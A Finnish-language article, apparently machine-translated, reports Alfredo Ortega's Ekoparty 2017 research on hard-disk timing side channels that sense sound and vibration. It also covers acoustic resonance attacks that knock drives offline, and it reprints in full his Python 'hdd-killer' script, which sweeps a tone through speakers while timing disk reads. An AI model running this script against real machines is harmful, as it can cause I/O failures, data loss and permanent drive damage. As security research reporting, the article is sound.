Miksi sinun ei pitäisi huutaa kiintolevyllesi

Miksi sinun ei pitäisi huutaa kiintolevyllesi

Ekoparty 2017 -tietokoneturvakonferenssissa Buenos Airesissa argentiinalainen hakkeri Alfredo Ortega esitteli erittäin mielenkiintoisen kehityksen - järjestelmän tilojen salakuunteluun ilman mikrofonia. Ääni tallennettu suoraan kiintolevylle!

Kiintolevy poimii pääasiassa korkean intensiteetin matalataajuisia ääniä, askeleita ja muuta tärinää. Ihmisen puhetta ei voida vielä tunnistaa, vaikka tiedemiehet tekevät tutkimusta tähän suuntaan (puheentunnistus matalataajuisilla värähtelyillä, jotka tallennetaan esimerkiksi gyroskoopista tai kiintolevyltä).

Ääni on ilman tai muun väliaineen värähtelyä. Ihminen havaitsee ne tärykalvon kautta, joka välittää tärinää sisäkorvaan. Mikrofoni on suunniteltu suunnilleen korvan kaltaiseksi - myös tässä värähtelyt tallennetaan ohuella kalvolla, joka herättää sähköisen impulssin. Kiintolevy on tietysti myös alttiina mikroskooppiselle tärinälle, joka johtuu ympäröivän ilman vaihteluista. Tämä tiedetään jopa kiintolevyjen teknisistä ominaisuuksista: valmistajat ilmoittavat yleensä suurimman sallitun tärinätason, ja itse kovalevy yrittää usein sijoittaa sen tärinänkestävään kumista tai muusta eristävästä materiaalista valmistettuun säiliöön. Tästä on helppo päätellä, että ääntä voidaan tallentaa HDD:llä. Jäljelle jää vain selvittää, miten.

Alfredo Ortega ehdotti ainutlaatuista versiota sivukanavahyökkäyksestä, nimittäin aikahyökkäystä. Tämä hyökkäys perustuu olettamukseen, että laitteella suoritetaan erilaisia ​​toimintoja eri aikoina, riippuen annetusta syöttötiedosta. Tässä tapauksessa "syöttötiedot" ovat lukupään ja HDD-levyn värähtelyjä, jotka korreloivat ympäristön värähtelyjen eli äänen kanssa. Näin ollen mittaamalla laskenta-aika ja suorittamalla tilastollinen analyysi tiedoista voidaan mitata pään/levyn värähtelyt ja siten väliaineen värähtelyt. Mitä pidempi viive tietojen lukemisessa, sitä voimakkaampi HDD-värähtely ja siten kovempi ääni.

Kuinka mitata kiintolevyn tärinää? Hyvin yksinkertainen: suorita järjestelmäkutsu read () – ja kirjaa loppuun suorittamiseen kuluva aika. Nykyaikaiset käyttöjärjestelmät mahdollistavat järjestelmäkutsujen ajoituksen lukemisen nanosekunnin tarkkuudella.

Tietojen lukunopeus sektorista riippuu pään ja lautasen asennosta, mikä korreloi HDD-kotelon tärinän kanssa. Siinä kaikki.

Tilastollinen analyysi suoritetaan käyttämällä yksinkertaista Kscope-apuohjelmaa. Kuten he sanovat, kaikki nerokas on yksinkertaista.

Miksi sinun ei pitäisi huutaa kiintolevyllesi
Kscope-apuohjelma (stat() syscall)

Kscope on pieni apuohjelma pienten erojen visualisointiin järjestelmäkutsujen suoritusajoissa. Lähdejulkaistu GitHubissa.

Erillisessä arkistossa HDD-aika apuohjelmasta on versio, joka on määritetty aikahyökkäystä varten kiintolevylle, eli se on määritetty analysoimaan järjestelmäkutsu read ().

Äänen tallennuksen esittely HDD:llä, Kscope-apuohjelman toiminta


Puhetta ei tietenkään voi ymmärtää tällä tavalla, mutta kiintolevy soveltuu hyvin tärinätunnistimeksi. Voit esimerkiksi rekisteröityä, jos henkilö, jolla on kovat kengät tai paljain jaloin, meni huoneeseen tietokoneen kanssa (todennäköisesti, jos hyökkääjällä on jalassa pehmeät lenkkarit tai lattialla on paksu matto, kiintolevy ei pysty rekisteröimään tärinää - tämä kannattaa tarkistaa). Tietokone pystyy rekisteröimään rikkoutunutta lasia tai muita tapahtumia, joiden äänenvoimakkuus on voimakas. Toisin sanoen kiintolevy voi toimia eräänlaisena luvattomana tunkeutumisen havaitsemisjärjestelmänä.

HDD tappaja

Muuten, samanlaista tekniikkaa voidaan käyttää kiintolevyjen poistamiseen käytöstä. Vain tässä emme poista värähtelyjä kiintolevyltä, vaan päinvastoin, tuotamme värähtelyjä, jotka syötetään kiintolevylle. Jos toistat ääntä kaiuttimesta taajuudella, joka resonoi kiintolevyn taajuuden kanssa, järjestelmä sammuttaa laitteen pian I/O-virheen vuoksi (Linux-ydin sammuttaa kiintolevyn kokonaan 120 sekunnin kuluttua). Itse kiintolevy voi vaurioitua peruuttamattomasti.

Miksi sinun ei pitäisi huutaa kiintolevyllesi
Linux-ydin sammutti kiintolevyn 120 sekunnin kuluttua tuotettuaan ääntä resonanssitaajuudella Edifier r19u USB -kaiuttimen kaiuttimen kautta. Kaiutin kytketään päälle noin neljänneksellä tehosta (alle 100 mW) ja sijaitsee 20 cm:n päässä kiintolevystä, ja se on suunnattu pöytään tärinän lisäämiseksi. Kehys alkaen video HDD-killer-esittelyn kanssa

On uteliasta, että tällaiset "hyökkäykset" HDD-levyihin tapahtuvat joskus täysin vahingossa jokapäiväisessä elämässä. Esimerkiksi ING Bankin palvelinkeskus joutui syyskuussa 2016 keskeyttämään toimintansa 10 tunniksi paloharjoituksen jälkeen. Kymmeniä kiintolevyjä on vioittunut sylintereistä korkean paineen alaisena vapautuvan inertin kaasun kovasta äänestä. Ääni oli erittäin kova (yli 130 dB), mutta et voi edes huutaa kiintolevyille - tämä lisää viivettä HDD:n käytössä.

Esittely ihmisten huutamisesta kiintolevyille datakeskuksessa. Latenssimittaus


Luodakseen resonoivan äänen Alfredo Ortega kirjoitti Python-skriptin nimeltä hdd-tappaja (videoesittely).

HDD-killer-skripti Se on melko pieni, joten voit julkaista sen kokonaisuudessaan täällä.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Lähde: will.com

Lisää kommentti